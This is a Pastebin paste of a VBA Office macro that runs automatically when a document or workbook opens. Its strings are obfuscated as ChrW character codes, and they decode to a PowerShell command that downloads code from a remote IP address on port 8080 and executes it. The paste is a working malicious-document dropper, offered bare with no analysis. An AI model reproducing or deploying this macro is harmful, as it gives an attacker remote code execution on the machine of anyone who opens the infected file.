Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Sub Auto_Open()
- Dim first As String
- Dim second As String
- Dim third As String
- Dim fourth As String
- Dim fifth As String
- Dim sixth As String
- Dim seventh As String
- Dim eighth As String
- Dim ninth As String
- Dim last As String
- first = ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108)
- second = ChrW(32) & ChrW(34) & ChrW(73) & ChrW(69) & ChrW(88) & ChrW(40) & ChrW(78) & ChrW(101) & ChrW(119) & ChrW(45)
- third = ChrW(79) & ChrW(98) & ChrW(106) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(32) & ChrW(78) & ChrW(101) & ChrW(116)
- fourth = ChrW(46) & ChrW(87) & ChrW(101) & ChrW(98) & ChrW(67) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116)
- fifth = ChrW(41) & ChrW(46) & ChrW(100) & ChrW(111) & ChrW(119) & ChrW(110) & ChrW(108) & ChrW(111) & ChrW(97) & ChrW(100)
- sixth = ChrW(83) & ChrW(116) & ChrW(114) & ChrW(105) & ChrW(110) & ChrW(103) & ChrW(40) & ChrW(39) & ChrW(104) & ChrW(116)
- seventh = ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(50) & ChrW(49) & ChrW(55) & ChrW(46) & ChrW(49)
- eighth = ChrW(56) & ChrW(50) & ChrW(46) & ChrW(53) & ChrW(52) & ChrW(46) & ChrW(50) & ChrW(52) & ChrW(56) & ChrW(58)
- ninth = ChrW(56) & ChrW(48) & ChrW(56) & ChrW(48) & ChrW(39) & ChrW(41) & ChrW(34)
- last = first + second + third + fourth + fifth + sixth + seventh + eighth + ninth
- Shell(last)
- End Sub
- Sub AutoOpen()
- Auto_Open
- End Sub
- Sub Workbook_Open()
- Auto_Open
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement